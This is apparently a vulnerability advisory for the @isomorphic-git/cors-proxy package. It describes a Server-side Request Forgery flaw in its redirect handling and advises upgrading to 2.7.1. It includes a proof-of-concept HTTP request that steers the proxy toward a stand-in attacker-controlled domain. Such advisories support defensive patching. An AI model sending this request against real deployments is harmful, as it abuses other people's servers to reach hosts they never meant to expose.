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@isomorphic-git/cors-proxy@2.4.0 vulnerabilities

Proxy clone and push requests for the browser

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Direct Vulnerabilities

Known vulnerabilities in the @isomorphic-git/cors-proxy package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
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Server-side Request Forgery (SSRF)

@isomorphic-git/cors-proxy is a Proxy clone and push requests for the browser

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to missing sanitization and validation of the redirection action in middleware.js.

PoC

GET /www.attacker-controlled-domain.com/info/refs?service=git-receive-pack HTTP/1.1
Host: target.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

How to fix Server-side Request Forgery (SSRF)?

Upgrade @isomorphic-git/cors-proxy to version 2.7.1 or higher.

<2.7.1
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